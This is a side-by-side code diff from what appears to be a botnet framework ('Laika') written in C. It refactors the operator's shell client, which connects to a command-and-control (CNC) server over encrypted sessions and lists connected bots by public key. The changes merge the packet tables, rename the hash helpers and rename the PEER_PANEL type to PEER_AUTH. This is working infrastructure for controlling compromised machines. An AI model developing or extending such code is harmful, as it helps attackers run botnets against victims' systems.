if (!laikaS_handlePeerOut(client->peer)) if (!laikaS_handlePeerOut(client->peer))
LAIKA_ERROR("failed to send handshake request!\n") LAIKA_ERROR("failed to send handshake request!\n");
} }
bool panelC_poll(tPanel_client *client, int timeout) { bool panelC_poll(tPanel_client *client, int timeout) {

View File

@ -12,14 +12,14 @@ typedef struct sShell_hashMapElem {
uint8_t *pub; uint8_t *pub;
} tShell_hashMapElem; } tShell_hashMapElem;
int shellElemCompare(const void *a, const void *b, void *udata) { int shell_ElemCompare(const void *a, const void *b, void *udata) {
const tShell_hashMapElem *ua = a; const tShell_hashMapElem *ua = a;
const tShell_hashMapElem *ub = b; const tShell_hashMapElem *ub = b;
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES); return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
} }
uint64_t shellElemHash(const void *item, uint64_t seed0, uint64_t seed1) { uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
const tShell_hashMapElem *u = item; const tShell_hashMapElem *u = item;
return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */ return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */
} }
@ -47,7 +47,7 @@ void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
type = laikaS_readByte(&peer->sock); type = laikaS_readByte(&peer->sock);
/* ignore panel clients */ /* ignore panel clients */
if (type == PEER_PANEL) if (type == PEER_AUTH)
return; return;
/* create peer */ /* create peer */
@ -69,26 +69,29 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
type = laikaS_readByte(&peer->sock); type = laikaS_readByte(&peer->sock);
/* ignore panel clients */ /* ignore panel clients */
if (type == PEER_PANEL) if (type == PEER_AUTH)
return; return;
if ((bot = shellC_getPeerByPub(client, pubKey, &id)) == NULL) if ((bot = shellC_getPeerByPub(client, pubKey, &id)) == NULL)
LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_RMV_PEER_RES: Unknown peer!\n") LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_RMV_PEER_RES: Unknown peer!\n");
/* remove peer */ /* remove peer */
shellC_rmvPeer(client, bot, id); shellC_rmvPeer(client, bot, id);
} }
LAIKAPKT_SIZE shellC_pktSizeTbl[LAIKAPKT_MAXNONE] = { struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
[LAIKAPKT_AUTHENTICATED_ADD_PEER_RES] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t) + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN, /* pubkey + peerType + host + ip */ shellC_handleHandshakeRes,
[LAIKAPKT_AUTHENTICATED_RMV_PEER_RES] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), /* pubkey + peerType */ sizeof(uint8_t),
}; false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_ADD_PEER_RES,
PeerPktHandler shellC_handlerTbl[LAIKAPKT_MAXNONE] = { shellC_handleAddPeer,
[LAIKAPKT_HANDSHAKE_RES] = shellC_handleHandshakeRes, crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN + sizeof(uint8_t),
[LAIKAPKT_AUTHENTICATED_ADD_PEER_RES] = shellC_handleAddPeer, false),
[LAIKAPKT_AUTHENTICATED_RMV_PEER_RES] = shellC_handleRmvPeer, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_RMV_PEER_RES,
shellC_handleRmvPeer,
crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t),
false),
}; };
void shellC_init(tShell_client *client) { void shellC_init(tShell_client *client) {
@ -96,13 +99,12 @@ void shellC_init(tShell_client *client) {
laikaP_initPList(&client->pList); laikaP_initPList(&client->pList);
client->peer = laikaS_newPeer( client->peer = laikaS_newPeer(
shellC_handlerTbl, shellC_pktTbl,
shellC_pktSizeTbl,
&client->pList, &client->pList,
(void*)client (void*)client
); );
client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shellElemHash, shellElemCompare, NULL, NULL); client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash, shell_ElemCompare, NULL, NULL);
client->peerTbl = NULL; client->peerTbl = NULL;
client->peerTblCap = 4; client->peerTblCap = 4;
client->peerTblCount = 0; client->peerTblCount = 0;
@ -150,7 +152,7 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
/* create encryption keys */ /* create encryption keys */
if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0) if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n") LAIKA_ERROR("failed to gen session key!\n");
/* setup socket */ /* setup socket */
laikaS_connect(sock, ip, port); laikaS_connect(sock, ip, port);
@ -172,7 +174,7 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
/* queue authenticated handshake request */ /* queue authenticated handshake request */
laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ); laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ);
laikaS_writeByte(sock, PEER_PANEL); laikaS_writeByte(sock, PEER_AUTH);
laikaS_endOutPacket(client->peer); laikaS_endOutPacket(client->peer);
/* the handshake requests will be sent on the next call to shellC_poll */ /* the handshake requests will be sent on the next call to shellC_poll */

View File

@ -28,7 +28,7 @@ char *shellP_typeStr(tShell_peer *peer) {
switch (peer->type) { switch (peer->type) {
case PEER_BOT: return "Bot"; case PEER_BOT: return "Bot";
case PEER_CNC: return "CNC"; case PEER_CNC: return "CNC";
case PEER_PANEL: return "Auth"; case PEER_AUTH: return "Auth";
default: return "err"; default: return "err";
} }
} }